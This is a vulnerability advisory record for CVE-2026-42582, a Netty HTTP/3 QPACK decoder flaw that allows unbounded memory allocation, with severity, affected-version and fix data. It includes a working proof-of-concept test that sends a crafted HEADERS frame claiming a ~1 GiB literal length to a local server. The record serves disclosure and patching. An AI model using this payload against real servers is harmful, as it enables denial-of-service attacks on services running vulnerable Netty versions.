{"id":"CVE-2026-42582","aliases":["CVE-2026-42582","GHSA-2c5c-chwr-9hqw"],"related":[],"kind":"vulnerability","state":"published","title":"Netty: HTTP/3 QPACK literal unbounded allocation","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final, when decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length]. This vulnerability is fixed in 4.2.13.Final.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final, when decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length]. This vulnerability is fixed in 4.2.13.Final.","source":"cvelist"},{"lang":"en","text":"### Summary\nWhen Netty decodes HTTP/3 headers, it sometimes runs `new byte[length]` using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).\n\n### Details\nWhen decoding header blocks, the non-Huffman branch of `io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral` may execute `new byte[length]` for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that `length <= in.readableBytes()` before `new byte[length]`.\n\n### PoC\nThe test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target `new byte[length]`.\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n        try {\n            X509Bundle cert = new CertificateBuilder()\n                    .subject(\"cn=localhost\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            AtomicReference<Throwable> serverErrors = new AtomicReference<>();\n            CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n                    .sslContext(serverContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .initialMaxStreamDataBidirectionalRemote(1_000_000)\n                    .initialMaxStreamsBidirectional(100)\n                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n                    .handler(new ChannelInitializer<QuicChannel>() {\n                        @Override\n                        protected void initChannel(QuicChannel ch) {\n                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());\n                            ch.pipeline().addLast(new Http3ServerConnectionHandler(\n                                    new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            if (cause instanceof DecoderException) {\n                                                serverErrors.set(cause.getCause());\n                                            } else {\n                                                serverErrors.set(cause);\n                                            }\n                                        }\n                                    }));\n                        }\n                    })\n                    .build();\n\n            Channel server = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(serverCodec)\n                    .bind(\"127.0.0.1\", 0)\n                    .sync()\n                    .channel();\n\n            QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n                    .sslContext(clientContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10000000)\n                    .initialMaxStreamDataBidirectionalLocal(1000000)\n                    .build();\n\n            Channel client = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(clientCodec)\n                    .bind(0)\n                    .sync()\n                    .channel();\n\n            QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n                    .handler(new Http3ClientConnectionHandler())\n                    .remoteAddress(server.localAddress())\n                    .localAddress(client.localAddress())\n                    .connect()\n                    .get();\n\n            QuicStreamChannel rawStream =\n                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n            ByteBuf header = Unpooled.buffer();\n            header.writeByte(0x01);\n            header.writeByte(0x08);\n\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n\n            header.writeByte(0x27);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x80);\n            header.writeByte(0x04);\n\n            rawStream.writeAndFlush(header).sync();\n\n            assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));\n\n            assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());\n\n            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n            server.close().sync();\n            client.close().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nThe server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large `byte[]` allocations during QPACK literal decoding.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Netty es un framework de aplicación de red asíncrono y basado en eventos. Antes de la versión 4.2.13.Final, al decodificar bloques de cabecera, la rama no-Huffman de io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral puede ejecutar new byte[length] para un literal de cadena antes de verificar que ’length’ bytes estén realmente presentes en la sección de campo comprimido. La codificación en la red permite que una longitud muy grande se exprese en pocos bytes. No hay una comprobación de que length <= in.readableBytes() antes de new byte[length]. Esta vulnerabilidad se corrige en la versión 4.2.13.Final.","source":"nvd"}],"published":"2026-05-07T00:19:21.000Z","modified":"2026-10-26T00:10:00.150Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-770","CWE-789"],"affected":[{"ranges":[{"version":">= 4.2.0.Alpha1, < 4.2.13.Final","status":"affected"}],"vendor":"netty","product":"netty","source":"cvelist"},{"ranges":[{"version":">= 4.2.0.Alpha1, < 4.2.13.Final","status":"affected"}],"vendor":"io.netty","product":"netty-codec-http3","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.2.0.Final","status":"affected","fixed":"4.2.13.Final"}],"ecosystem":"Maven","package":"io.netty:netty-codec-http3","purl":"pkg:maven/io.netty/netty-codec-http3","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"4.2.0","fixed":"4.2.13"}],"vendor":"netty","product":"netty","cpe":"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-2c5c-chwr-9hqw","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42582","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/netty/netty","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-13T19:35:22.097Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42582","url":"https://www.cve.org/CVERecord?id=CVE-2026-42582","licence":"CVE Terms of Use","modified":"2026-05-13T19:35:35.549Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2c5c-chwr-9hqw","url":"https://github.com/advisories/GHSA-2c5c-chwr-9hqw","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:45.231Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42582","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42582","licence":"Public domain","modified":"2026-10-26T00:10:00.150Z"}],"updatedAt":"2026-11-25T22:59:21.643Z","epss":{"score":0.00437,"percentile":0.39725,"date":"2026-12-01T12:00:22.000Z"}}